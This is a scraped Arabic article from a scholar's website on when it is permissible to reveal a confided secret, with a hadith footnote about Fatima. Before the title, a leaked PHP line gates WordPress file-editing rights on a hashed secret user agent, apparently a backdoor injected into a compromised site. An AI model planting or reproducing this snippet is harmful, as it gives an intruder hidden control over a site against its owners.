if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } متى يجوز إفشاء السر؟​ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

متى يجوز إفشاء السر؟

 هل إذا استودعت حديثًا يبقى إلى أبد الآبدين سر أو لك أن تفشيه؟ هل ثمة أوان يمكن أن تفشي السر فيه؟ من أهل العلم من قال إن هذا ينقطع بموت صاحبه، فمتى مات فلا بأس أن تحدث بسره، نقول: هذا ليس على إطلاقه فربما كان الحديث سرًا مستمرًا لا سيما إذا كان هو لا يريد نشره وليس ثمة مصلحةً في نشره بل ربما في نشره فساد، نقول إذن هو سر ولو مات صاحبه لكن لو كان هذا الأمر لا مصلحة في كتمه بل المصلحة في نشره كأن يُسـر إليك بعمل صالح من أعمال برٍ وإحسان وبناء مساجد ونحو ذلك وقد مات وانتفى الرياء، فحينئذٍ لا بأس أن تحدث به وتستحث المسلمين على الدعاء له والثناء عليه بما هو أهله ودعوة غيره إلى الاقتداء به من عامة المحسنين، يقول: فلان ما شاء الله ما ترك بابًا من أبواب البر والحسان إلا فعل وقد أسر إلي في حياته أنه فعل كذا وكذا، فهذا فيه دعاء وفيه ثناء وفيه تشويق وفتح باب للإحسان؛ فإن بعض الناس ما يُحسن حتى يرى وجوه البر والإحسان أمامه، لكن إذا لم تكن ثمة مصلحة فلا، مما يدل على ذلك مما ورد في السنة أن النبي صلى الله عليه وسلم أسر إلى بنته وبضعته فاطمة رضي الله عنها بسر، تحدث إليها وقد كانت أقرب الناس في دلها ومشيتها برسول الله صلى الله عليه وسلم ، فأقبلت ونساؤه عنده، فأسر إليها صلى الله عليه وسلم بحديثٍ فبكت، ثم أسر إليها صلى الله عليه وسلم بحديث فضحكت، فلما ذهب صلى الله عليه وسلم سألتها أم المؤمنين عائشة رضي الله عنها فقالت سر رسول الله صلى الله عليه وسلم لا أفشيه، ثم لما مات صلى الله عليه وسلم سألتها أم المؤمنين رضي الله عنها عن ذلك فأخبرتها أنه صلى الله عليه وسلم أخبرها أنها أول أهله لحوقًا به فبكت رضي الله عنها شفقة عليه صلى الله عليه وسلم لأنها علمت أن أجله قد دنا وأنها ستموت عقبه، ثم قال لها في السـر الثاني الذي أضحكها: أنت سيدة نساء العالمين فضحكت[1]، إذن هذا سر كشفته فاطمة رضي الله عنها بعد أن مات صلى الله عليه وسلم لأنه فيه مصلحة في إظهاره.

ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (2450) عن أم المؤمنين عائشة رَضِيَ اللهُ عَنْهَا أنها قالت: «اجْتَمع نِسَاءُ النبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، فَلَمْ يُغَادِرْ منهنَّ امْرَأَةً، فَجَاءَتْ فَاطِمَةُ تَمْشِي كَأنَّ مِشْيَتَهَا مِشْيَةُ رَسُولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، فَقالَ: مَرْحَبًا بابْنَتي فأجْلَسَهَا عن يَمِينِهِ، أَوْ عن شِمَالِهِ، ثُمَّ إنَّه أَسَرَّ إلَيْهَا حَدِيثًا فَبَكَتْ فَاطِمَةُ، ثُمَّ إنَّه سَارَّهَا فَضَحِكَتْ أَيْضًا، فَقُلتُ لَهَا: ما يُبْكِيكِ؟ فَقالَتْ: ما كُنْتُ لِأُفْشِيَ سِرَّ رَسُولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، فَقُلتُ: ما رَأَيْتُ كَالْيَومِ فَرَحًا أَقْرَبَ مِن حُزْنٍ، فَقُلتُ لَهَا حِينَ بَكَتْ: أَخَصَّكِ رَسُولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ بحَديثِهِ دُونَنَا، ثُمَّ تَبْكِينَ؟ وَسَأَلْتُهَا عَمَّا قالَ فَقالَتْ: ما كُنْتُ لِأُفْشِيَ سِرَّ رَسُولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، حتَّى إذَا قُبِضَ سَأَلْتُهَا فَقالَتْ: إنَّه كانَ حدَّثَني أنَّ جِبْرِيلَ كانَ يُعَارِضُهُ بالقُرْآنِ كُلَّ عَامٍ مَرَّةً، وإنَّه عَارَضَهُ به في العَامِ مَرَّتَيْنِ، وَلَا أُرَانِي إلَّا قدْ حَضَرَ أَجَلِي، وإنَّكِ أَوَّلُ أَهْلِي لُحُوقًا بي، وَنِعْمَ السَّلَفُ أَنَا لَكِ، فَبَكَيْتُ لذلكَ، ثُمَّ إنَّه سَارَّنِي، فَقالَ: أَلَا تَرْضَيْنَ أَنْ تَكُونِي سَيِّدَةَ نِسَاءِ المُؤْمِنِينَ، أَوْ سَيِّدَةَ نِسَاءِ هذِه الأُمَّةِ فَضَحِكْتُ لذلكَ».